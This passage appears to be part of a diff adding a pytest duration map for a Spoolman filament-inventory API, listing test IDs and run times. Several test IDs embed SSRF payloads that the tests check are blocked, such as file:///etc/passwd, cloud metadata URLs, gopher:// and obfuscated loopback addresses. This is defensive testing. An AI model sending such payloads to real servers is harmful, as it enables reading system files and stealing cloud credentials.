0.20026061683893204, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_null_filament": 0.198592240922153, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_linked_spools_success": 0.20001448784023523, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_spools_not_enabled": 0.19742840994149446, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_spools_success": 0.20567597728222609, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_status_enabled_and_connected": 0.20549948792904615, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_status_not_configured": 0.32471338007599115, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_status_url_only_not_enabled": 0.20301440078765154, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_unlinked_spools_excludes_slot_assigned": 0.20330822002142668, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_unlinked_spools_not_enabled": 0.20625716540962458, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_get_unlinked_spools_success": 0.20020502340048552, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_invalid_uuid_format": 0.20174106303602457, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_invalid_uuid_length": 0.20047394931316376, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_not_enabled": 0.20229564141482115, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_spoolman_not_found": 0.19796490669250488, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_spoolman_unavailable": 0.20309964939951897, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_success": 0.2014457993209362, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_with_printer_context_creates_slot_assignment": 0.21264579147100449, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_link_spool_without_printer_context_no_slot_assignment": 0.2002830198034644, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_settings_report_partial_usage_defaults_to_true": 0.19529134314507246, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_settings_returns_disable_weight_sync": 0.19935849960893393, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_settings_returns_report_partial_usage": 0.1988873640075326, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_settings_update_disable_weight_sync": 0.2079798448830843, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_settings_update_report_partial_usage": 0.20861468743532896, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_no_rfid_no_hint_produces_skipped_entry": 0.20014720503240824, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_passes_slot_hint_when_no_rfid": 0.20713502261787653, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_printer_not_connected": 0.20561720710247755, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_printer_not_enabled": 0.20922460034489632, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_printer_not_found": 0.20293989032506943, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_returns_result_structure": 0.20540502946823835, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_with_weight_sync_disabled_passes_flag": 0.20196227729320526, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_sync_writes_slot_assignment_to_db": 0.24300059489905834, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_unlink_spool_deletes_slot_assignment": 0.20705641712993383, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_unlink_spool_no_deadlock": 0.2047554925084114, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_unlink_spool_spoolman_not_found": 0.20025727152824402, + "integration/test_spoolman_api.py::TestSpoolmanAPI::test_unlink_spool_success": 0.2055096048861742, + "integration/test_spoolman_cost_preserved_2591.py::TestRecalculateCostsPreservesSpoolmanPricing::test_an_archive_with_no_cost_is_still_priced": 0.22625483945012093, + "integration/test_spoolman_cost_preserved_2591.py::TestRecalculateCostsPreservesSpoolmanPricing::test_bulk_recalculate_keeps_the_spoolman_figure": 0.2302287695929408, + "integration/test_spoolman_cost_preserved_2591.py::TestRecalculateCostsWithoutSpoolman::test_internal_mode_recalculates_as_before": 0.20938804559409618, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentEdgeCases::test_null_filament_on_spool_skipped": 0.20146944373846054, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentEdgeCases::test_spool_weight_null_removes_weight": 0.20361046586185694, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentEdgeCases::test_spool_weight_zero_is_valid": 0.21332794893532991, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentErrors::test_disabled_returns_400": 0.21030838042497635, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentErrors::test_invalid_id_returns_422": 0.20451256819069386, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentErrors::test_negative_spool_weight_returns_422": 0.20809884183108807, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentErrors::test_not_found_returns_404": 0.19820241071283817, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentNameOnly::test_name_only_patch_no_get_all_spools": 0.20359993539750576, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionA::test_option_a_does_not_patch_spools_with_existing_override": 0.20436418894678354, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionA::test_option_a_filament_no_old_weight_skips_stamping": 0.20231970865279436, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionA::test_option_a_mixed_spools_stamps_only_inheriting": 0.1981601808220148, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionA::test_option_a_stamps_old_weight_on_inheriting_spools": 0.1938848663121462, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionA::test_option_a_zero_spools_no_error": 0.2024185936897993, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionB::test_option_b_only_stamps_affected_filament_spools": 0.19927637185901403, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionB::test_option_b_stamps_inheriting_spool_with_new_weight": 0.19733288045972586, + "integration/test_spoolman_filament_patch.py::TestPatchFilamentOptionB::test_option_b_stamps_new_weight_on_all_affected_spools": 0.2055798964574933, + "integration/test_spoolman_filament_patch.py::TestSyncSpoolWeightPriority::test_both_levels_none_uses_250g_fallback": 0.2025565216317773, + "integration/test_spoolman_filament_patch.py::TestSyncSpoolWeightPriority::test_filament_spool_weight_used_as_fallback": 0.20014404878020287, + "integration/test_spoolman_filament_patch.py::TestSyncSpoolWeightPriority::test_spool_level_spool_weight_takes_priority": 0.1981489285826683, + "integration/test_spoolman_filament_patch.py::TestSyncSpoolWeightPriority::test_spool_level_zero_not_treated_as_missing": 0.21271418780088425, + "integration/test_spoolman_filament_patch.py::TestUpdateSpoolWeightPriority::test_both_levels_none_uses_250g_fallback_and_warns": 0.20139319077134132, + "integration/test_spoolman_filament_patch.py::TestUpdateSpoolWeightPriority::test_filament_spool_weight_used_as_fallback": 0.19619341474026442, + "integration/test_spoolman_filament_patch.py::TestUpdateSpoolWeightPriority::test_spool_level_spool_weight_takes_priority": 0.19684049859642982, + "integration/test_spoolman_filament_patch.py::TestUpdateSpoolWeightPriority::test_spool_level_zero_not_treated_as_missing": 0.19776482041925192, + "integration/test_spoolman_inventory_api.py::TestBulkCreateWithFilamentId::test_bulk_create_with_filament_id_skips_find_or_create": 0.20305795036256313, + "integration/test_spoolman_inventory_api.py::TestBulkCreateWithPriceFailure::test_bulk_create_price_503_moves_spool_to_failures": 0.2009639060124755, + "integration/test_spoolman_inventory_api.py::TestColorNamePassthrough::test_create_writes_color_name_to_spool_extra": 0.19543906208127737, + "integration/test_spoolman_inventory_api.py::TestColorNamePassthrough::test_update_omits_color_name_skips_extra_write": 0.19379917718470097, + "integration/test_spoolman_inventory_api.py::TestColorNamePassthrough::test_update_writes_color_name_to_spool_extra": 0.20137181133031845, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolValidation::test_create_spool_filament_id_zero_returns_422": 0.19328457489609718, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolValidation::test_create_spool_without_material_or_filament_id_returns_422": 0.19301188085228205, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolWeightValidation::test_create_spool_with_non_default_core_weight_accepted": 0.19643949624150991, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolWeightValidation::test_update_spool_with_non_default_core_weight_accepted": 0.21602064836770296, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolWeightValidation::test_weight_used_equals_label_weight_accepted": 0.19458136335015297, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolWeightValidation::test_weight_used_exceeds_label_weight_returns_422": 0.19487128779292107, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolWithFilamentId::test_create_with_filament_id_skips_find_or_create": 0.19353570509701967, + "integration/test_spoolman_inventory_api.py::TestCreateSpoolWithFilamentId::test_create_with_invalid_filament_id_returns_404": 0.1952860141173005, + "integration/test_spoolman_inventory_api.py::TestGetAllSlotAssignmentsEnriched::test_filter_by_printer_id_still_works": 0.20517886709421873, + "integration/test_spoolman_inventory_api.py::TestGetAllSlotAssignmentsEnriched::test_returns_ams_label_when_label_configured": 0.20006720628589392, + "integration/test_spoolman_inventory_api.py::TestGetAllSlotAssignmentsEnriched::test_returns_printer_name_for_existing_printer": 0.20212234649807215, + "integration/test_spoolman_inventory_api.py::TestGetAllSlotAssignmentsEnriched::test_synthetic_ams_label_fallback": 0.2074688309803605, + "integration/test_spoolman_inventory_api.py::TestGetClientHealthCheckFalse::test_returns_503_when_health_check_returns_false": 0.19582066778093576, + "integration/test_spoolman_inventory_api.py::TestGetClientValueError::test_returns_400_when_init_spoolman_client_raises_value_error": 0.19792086258530617, + "integration/test_spoolman_inventory_api.py::TestLinkTagDuplicate::test_link_tag_returns_200_when_tag_not_on_another_spool": 0.20278868824243546, + "integration/test_spoolman_inventory_api.py::TestLinkTagDuplicate::test_link_tag_returns_409_when_same_tag_on_different_spool": 0.21005920227617025, + "integration/test_spoolman_inventory_api.py::TestListSpoolmanFilaments::test_list_filaments_disabled_returns_400": 0.2013414753600955, + "integration/test_spoolman_inventory_api.py::TestListSpoolmanFilaments::test_list_filaments_success": 0.19500340521335602, + "integration/test_spoolman_inventory_api.py::TestListSpoolmanFilaments::test_list_filaments_unreachable_returns_503": 0.19720049109309912, + "integration/test_spoolman_inventory_api.py::TestMergeSpoolExtraPreservesKeys::test_merge_preserves_unrelated_extra_keys": 0.1962765110656619, + "integration/test_spoolman_inventory_api.py::TestNormalizeFilament::test_normalize_filament_null_id_returns_none": 0.00174679234623909, + "integration/test_spoolman_inventory_api.py::TestNormalizeFilament::test_normalize_filament_null_vendor": 0.001044497825205326, + "integration/test_spoolman_inventory_api.py::TestNormalizeFilament::test_normalize_filament_zero_id_returns_none": 0.0008379016071557999, + "integration/test_spoolman_inventory_api.py::TestNormalizeFilamentNegativeId::test_normalize_filament_large_negative_id_returns_none": 0.0008058808743953705, + "integration/test_spoolman_inventory_api.py::TestNormalizeFilamentNegativeId::test_normalize_filament_negative_id_returns_none": 0.0011697737500071526, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkBothNull::test_both_explicitly_null_returns_422": 0.20275281090289354, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkBothNull::test_both_null_returns_422": 0.20460248459130526, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkValidation::test_tag_uid_6_chars_rejected": 0.1946587087586522, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkValidation::test_tag_uid_8_chars_accepted": 0.19649878796190023, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkValidation::test_tag_uid_8_zeros_rejected": 0.20104340370744467, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkValidation::test_tag_uid_all_zeros_rejected": 0.20219884160906076, + "integration/test_spoolman_inventory_api.py::TestSpoolTagLinkValidation::test_tag_uid_valid_14_chars_accepted": 0.21651497390121222, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_read_endpoints_require_auth[GET-/api/v1/spoolman/inventory/spools/42]": 0.19891605712473392, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_read_endpoints_require_auth[GET-/api/v1/spoolman/inventory/spools]": 0.19025507383048534, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[DELETE-/api/v1/spoolman/inventory/spools/42-None]": 0.18915954045951366, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[PATCH-/api/v1/spoolman/inventory/spools/42-payload2]": 0.19365611858665943, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[PATCH-/api/v1/spoolman/inventory/spools/42/weight-payload6]": 0.19651766307651997, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[POST-/api/v1/spoolman/inventory/spools-payload0]": 0.19518453441560268, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[POST-/api/v1/spoolman/inventory/spools/42/archive-None]": 0.19670088589191437, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[POST-/api/v1/spoolman/inventory/spools/42/restore-None]": 0.19589848350733519, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_require_auth[POST-/api/v1/spoolman/inventory/spools/bulk-payload1]": 0.20331659633666277, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[DELETE-/api/v1/spoolman/inventory/spools/42-None]": 0.20856530219316483, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[PATCH-/api/v1/spoolman/inventory/spools/42-payload2]": 0.21361091919243336, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[PATCH-/api/v1/spoolman/inventory/spools/42/weight-payload6]": 0.21436427161097527, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[POST-/api/v1/spoolman/inventory/spools-payload0]": 0.2092213025316596, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[POST-/api/v1/spoolman/inventory/spools/42/archive-None]": 0.20237418916076422, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[POST-/api/v1/spoolman/inventory/spools/42/restore-None]": 0.2033586949110031, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuth::test_write_endpoints_return_403_for_viewer[POST-/api/v1/spoolman/inventory/spools/bulk-payload1]": 0.21856091730296612, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuthExtended::test_extended_read_endpoints_require_auth[GET-/api/v1/spoolman/inventory/filaments]": 0.19888384733349085, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuthExtended::test_extended_write_endpoints_require_auth[PATCH-/api/v1/spoolman/inventory/filaments/7-payload2]": 0.1923889545723796, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuthExtended::test_extended_write_endpoints_require_auth[PATCH-/api/v1/spoolman/inventory/spools/42/tag-payload0]": 0.20139233861118555, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryAuthExtended::test_extended_write_endpoints_require_auth[POST-/api/v1/spoolman/inventory/sync-ams-weights-payload1]": 0.1977625461295247, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_archive_spool": 0.20064777415245771, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_archive_spool_not_found": 0.20279782265424728, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_bulk_create_quantity_out_of_range_returns_422": 0.21106798388063908, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_bulk_create_quantity_zero_returns_422": 0.1960655739530921, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_bulk_create_spools": 0.21405180636793375, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_bulk_reset_rejects_empty_list": 0.2025527646765113, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_bulk_reset_spool_consumed_counter": 0.19562982767820358, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_create_spool": 0.19501283299177885, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_create_spool_keeps_a_clear_colour_translucent": 0.20570378098636866, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_create_spool_keeps_an_opaque_colour_at_six": 0.20383366383612156, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_delete_spool": 0.20704966224730015, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_delete_spool_failure": 0.19910856988281012, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_delete_spool_not_found": 0.19793229550123215, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_not_enabled_returns_400": 0.19850636925548315, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_reset_spool_consumed_counter": 0.20366274565458298, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_restore_spool": 0.20174596179276705, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_restore_spool_not_found": 0.20448676031082869, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_sync_weight": 0.203541268594563, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_sync_weight_returns_404_on_not_found": 0.19575028494000435, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_sync_weight_returns_503_on_unavailable": 0.19571228232234716, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_alpha_only_edit_reaches_the_filament": 0.20191058050841093, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_noop_metadata_reuses_filament": 0.20124762691557407, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_shared_filament_falls_back_to_find_or_create": 0.19748060684651136, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_singleton_filament_patches_in_place": 0.20022414904087782, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_spool": 0.20035649742931128, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_spool_not_found": 0.19496887922286987, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_spool_returns_404_on_not_found": 0.20112240314483643, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_spool_returns_503_on_unavailable": 0.19675756432116032, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_with_explicit_null_color_name_clears_extra": 0.19483318645507097, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_with_the_round_tripped_opaque_rgba_is_a_no_op": 0.20652854535728693, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCRUD::test_update_without_color_name_skips_extra_write": 0.20990746933966875, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCostPerKg::test_create_spool_with_cost_per_kg_calls_price_update": 0.2010136703029275, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryCostPerKg::test_create_spool_without_cost_per_kg_skips_price_update": 0.19831145461648703, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_accepts_valid_6char_rgba": 0.19751148484647274, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_rejects_invalid_rgba": 0.1926286155357957, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_rejects_material_too_long": 0.20439090207219124, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_rejects_negative_weight_used": 0.2021368546411395, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_rejects_note_too_long": 0.20507873874157667, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_rejects_storage_location_too_long": 0.21080062352120876, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_create_rejects_zero_label_weight": 0.20188207738101482, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_invalid_spoolman_url_scheme_returns_400": 0.205268825404346, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_allows_lan_spoolman_topologies[http://10.0.0.5:7912/]": 0.20234999526292086, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_allows_lan_spoolman_topologies[http://127.0.0.1:7912/]": 0.1962486393749714, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_allows_lan_spoolman_topologies[http://172.20.0.3:7912/]": 0.2057242589071393, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_allows_lan_spoolman_topologies[http://192.168.1.50:7912/]": 0.20273310411721468, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_allows_lan_spoolman_topologies[http://[::1]:7912/]": 0.19928345642983913, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[dict://internal.corp/]": 0.19242303911596537, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[file:///etc/passwd]": 0.5992254568263888, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[gopher://127.0.0.1:70/]": 0.19343151804059744, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://0.0.0.0/]": 0.1937489127740264, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://0x7f000001/]": 0.19747796282172203, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://100.100.100.200/]": 0.19263447541743517, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://169.254.169.254/latest/meta-data/]": 0.20055952947586775, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://2130706433/]": 0.19804748985916376, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://224.0.0.1/]": 0.1930446308106184, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://[::ffff:169.254.169.254]/]": 0.19121689721941948, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://[fd00:ec2::254]/]": 0.20577071607112885, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[http://[ff02::1]/]": 0.1920340694487095, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_ssrf_blocked_schemes_and_addresses[javascript:alert(1)]": 0.20860544685274363, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_tag_uid_below_min_length_rejected": 0.1949595920741558, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_update_rejects_rgba_nine_chars": 0.19810255523771048, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_update_rejects_storage_location_too_long": 0.19798304978758097, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_update_rejects_tag_uid_too_long": 0.2036287821829319, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_update_rejects_tray_uuid_too_long": 0.20205853693187237, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_update_rejects_tray_uuid_too_short[16]": 0.19642954599112272, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_update_rejects_tray_uuid_too_short[31]": 0.2044479949399829, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryInputValidation::test_weight_update_rejects_negative_grams": 0.19332412630319595, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_archived_spool_has_archived_at": 0.20757831260561943, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_get_single_spool": 0.209635179489851, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_list_includes_archived_when_requested": 0.21171167120337486, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_list_spools_returns_503_when_spoolman_unavailable": 0.1992309670895338, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_list_spools_returns_inventory_format": 0.19453749060630798, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_malformed_spool_skipped_in_list": 0.1998647851869464, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryMapping::test_tag_uid_16char_maps_correctly": 0.20055388752371073, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_nfc_tag_scanned_with_ssrf_url_ignores_spoolman[file:///etc/passwd]": 0.2039959290996194, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_nfc_tag_scanned_with_ssrf_url_ignores_spoolman[http://0.0.0.0/]": 0.20112086087465286, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_nfc_tag_scanned_with_ssrf_url_ignores_spoolman[http://169.254.169.254/latest/meta-data/]": 0.19727440178394318, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_nfc_tag_scanned_with_ssrf_url_ignores_spoolman[http://[::ffff:169.254.169.254]/]": 0.19567376002669334, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_nfc_write_result_with_ssrf_url_degrades_gracefully[http://169.254.169.254/latest/meta-data/]": 0.20818417984992266, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_nfc_write_result_with_ssrf_url_degrades_gracefully[http://[::ffff:169.254.169.254]/]": 0.20486516784876585, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySSRFSpoolBuddyPath::test_scale_update_weight_with_ssrf_url_degrades_gracefully[http://169.254.169.254/latest/meta-data/]": 0.1993023520335555, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_bulk_create_partial_failure_returns_207": 0.21286172699183226, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_create_rejects_double_hash_rgba": 0.2013063682243228, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_path_param_non_positive_spool_id_returns_422[-1]": 0.20659625250846148, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_path_param_non_positive_spool_id_returns_422[0]": 0.19931856263428926, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_tag_uid_length_boundary[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-422]": 0.20447388384491205, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_tag_uid_length_boundary[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-422]": 0.20612554159015417, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_tag_uid_length_boundary[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-422]": 0.20406200364232063, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySecurityExtras::test_tag_uid_length_boundary[DEADBEEF12345678-422]": 0.21080748550593853, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySlicerFilament::test_update_clears_slicer_filament_with_empty_string": 0.20068644639104605, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySlicerFilament::test_update_persists_slicer_filament_to_extra": 0.19594280421733856, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventorySlicerFilament::test_update_without_slicer_filament_skips_merge": 0.20489998441189528, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryUpdateCoreWeight::test_patch_core_weight_250_explicitly_is_accepted": 0.1985935540869832, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryUpdateCoreWeight::test_patch_core_weight_other_than_250_accepted": 0.20331265963613987, + "integration/test_spoolman_inventory_api.py::TestSpoolmanInventoryUpdateCoreWeight::test_patch_without_core_weight_is_accepted": 0.19753877632319927, + "integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_create_passes_storage_location_to_spoolman": 0.2090419875457883, + "integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_list_spools_maps_spoolman_location_to_storage_location": 0.20613459777086973, + "integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_list_spools_null_location_gives_null_storage_location": 0.20465374179184437, + 